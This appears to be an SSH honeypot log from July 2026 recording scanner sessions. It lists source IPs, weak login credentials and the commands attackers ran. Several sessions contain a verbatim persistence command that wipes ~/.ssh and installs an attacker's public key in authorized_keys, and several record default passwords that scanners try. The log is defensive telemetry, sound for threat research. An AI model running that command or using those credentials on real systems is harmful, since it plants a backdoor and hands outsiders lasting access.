  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:11:35.457128 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 29a186c34d47

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "29a186c34d47",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:11:35.457128Z",
  "end_time": "2026-07-28T18:11:38.545633Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:11:28.771169 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / zxcv0.123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 43d44f30db9f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 12.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "43d44f30db9f",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:11:28.771169Z",
  "end_time": "2026-07-28T18:11:41.367469Z",
  "duration": "12.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "zxcv0.123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

111.42.183.124

2026-07-28 18:11:24.777978 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f06d65ac12d4

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "f06d65ac12d4",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:11:24.777978Z",
  "end_time": "2026-07-28T18:13:24.788671Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:10:19.448507 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7e891e33a82e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7e891e33a82e",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:10:19.448507Z",
  "end_time": "2026-07-28T18:12:19.490939Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:09:14.879225 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0ff3217f06b2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "0ff3217f06b2",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:09:14.879225Z",
  "end_time": "2026-07-28T18:11:14.920193Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

116.181.17.222

2026-07-28 18:08:38.169959 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / 3245gs5662d34

Record ID: 5fa67344d3d5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5fa67344d3d5",
  "src_ip": "116.181.17.222",
  "start_time": "2026-07-28T18:08:38.169959Z",
  "end_time": "2026-07-28T18:08:39.377609Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

116.181.17.222

2026-07-28 18:08:35.810632 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: a2388b03cc17

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a2388b03cc17",
  "src_ip": "116.181.17.222",
  "start_time": "2026-07-28T18:08:35.810632Z",
  "end_time": "2026-07-28T18:08:37.979038Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

116.181.17.222

2026-07-28 18:08:33.188207 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: test / 1

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6863cdf031b5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6863cdf031b5",
  "src_ip": "116.181.17.222",
  "start_time": "2026-07-28T18:08:33.188207Z",
  "end_time": "2026-07-28T18:08:39.389657Z",
  "duration": "6.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "1"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

111.42.183.124

2026-07-28 18:08:09.932229 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 238acc96322a

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "238acc96322a",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:08:09.932229Z",
  "end_time": "2026-07-28T18:10:09.971393Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:07:03.289691 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3563942a5497

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "3563942a5497",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:07:03.289691Z",
  "end_time": "2026-07-28T18:09:03.318174Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:05:57.645838 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 02db9890b3d6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "02db9890b3d6",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:05:57.645838Z",
  "end_time": "2026-07-28T18:07:57.658984Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

152.200.181.42

2026-07-28 18:05:41.879853 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: harry

Record ID: b4fa65b88fb8

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b4fa65b88fb8",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:05:41.879853Z",
  "end_time": "2026-07-28T18:05:45.523268Z",
  "duration": "3.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "harry",
      "pass": "harry"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.42.183.124

2026-07-28 18:04:53.176833 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5a054a55d087

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5a054a55d087",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:04:53.176833Z",
  "end_time": "2026-07-28T18:06:53.236765Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:03:49.013832 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b83afcffd3e6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b83afcffd3e6",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:03:49.013832Z",
  "end_time": "2026-07-28T18:05:49.020058Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:02:44.470487 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0d7bfb908405

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "0d7bfb908405",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:02:44.470487Z",
  "end_time": "2026-07-28T18:04:44.492370Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:01:38.671325 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b11364dcc880

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b11364dcc880",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:01:38.671325Z",
  "end_time": "2026-07-28T18:03:38.730354Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:00:33.176739 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 27f356607c5d

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "27f356607c5d",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:00:33.176739Z",
  "end_time": "2026-07-28T18:02:33.197164Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 18:00:17.590777 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 7dca093fe25c

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "7dca093fe25c",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T18:00:17.590777Z",
  "end_time": "2026-07-28T18:00:18.744155Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:00:05.213020 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: c491b4a7b79b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c491b4a7b79b",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:00:05.213020Z",
  "end_time": "2026-07-28T18:00:07.373510Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:00:02.340514 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: d27cb3133e00

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d27cb3133e00",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:00:02.340514Z",
  "end_time": "2026-07-28T18:00:05.101865Z",
  "duration": "2.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

152.200.181.42

2026-07-28 17:59:56.449110 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Password2

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 721d067d477d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 10.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "721d067d477d",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T17:59:56.449110Z",
  "end_time": "2026-07-28T18:00:07.369839Z",
  "duration": "10.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Password2"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

111.42.183.124

2026-07-28 17:59:27.621429 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fb4aa56ebf96

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "fb4aa56ebf96",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T17:59:27.621429Z",
  "end_time": "2026-07-28T18:01:27.652415Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 17:58:21.020122 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9c827a8437f7

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9c827a8437f7",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T17:58:21.020122Z",
  "end_time": "2026-07-28T18:00:21.026971Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 17:57:13.083972 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5a3e8c43f2eb

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5a3e8c43f2eb",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T17:57:13.083972Z",
  "end_time": "2026-07-28T17:59:13.140929Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}